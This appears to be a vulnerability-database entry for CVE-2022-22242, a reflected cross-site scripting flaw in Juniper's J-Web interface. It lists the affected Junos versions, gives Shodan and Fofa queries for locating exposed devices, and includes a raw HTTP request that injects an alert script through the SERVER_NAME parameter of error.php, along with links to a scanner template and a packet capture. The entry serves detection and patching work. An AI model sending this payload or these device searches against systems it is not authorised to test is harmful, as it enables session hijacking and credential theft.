| Title | Juniper Web Device Manager - Cross-Site Scripting |
|---|---|
| Author | EvergreenCartoons |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Juniper Networks to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.65638 |
| CVE ID | CVE-2022-22242 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Juniper Web Device Manager"http.title:"juniper web device manager" |
| Fofa Query | title="juniper web device manager" |
| Tags | cve2022 cve xss juniper junos vkev vuln |
Juniper Web Device Manager (J-Web) in Junos OS contains a cross-site scripting vulnerability. This can allow an unauthenticated attacker to run malicious scripts reflected off J-Web to the victim’s browser in the context of their session within J-Web, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue affects all versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R3-S6; 19.3 versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R2-S7, 19.4R3-S8; 20.1 versions prior to 20.1R3-S5; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2; 22.1 versions prior to 22.1R2.
GET /error.php?SERVER_NAME=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22242.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-22242.pcap
N/AN/A